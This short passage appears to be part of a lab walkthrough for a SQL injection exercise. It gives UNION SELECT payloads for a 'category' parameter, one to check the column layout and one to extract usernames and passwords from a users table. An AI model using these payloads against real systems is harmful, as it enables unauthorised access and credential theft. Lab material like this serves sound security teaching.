- Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:
'+UNION+SELECT+'abc','def'-- - Use the following payload to retrieve the contents of the
userstable:'+UNION+SELECT+username,+password+FROM+users--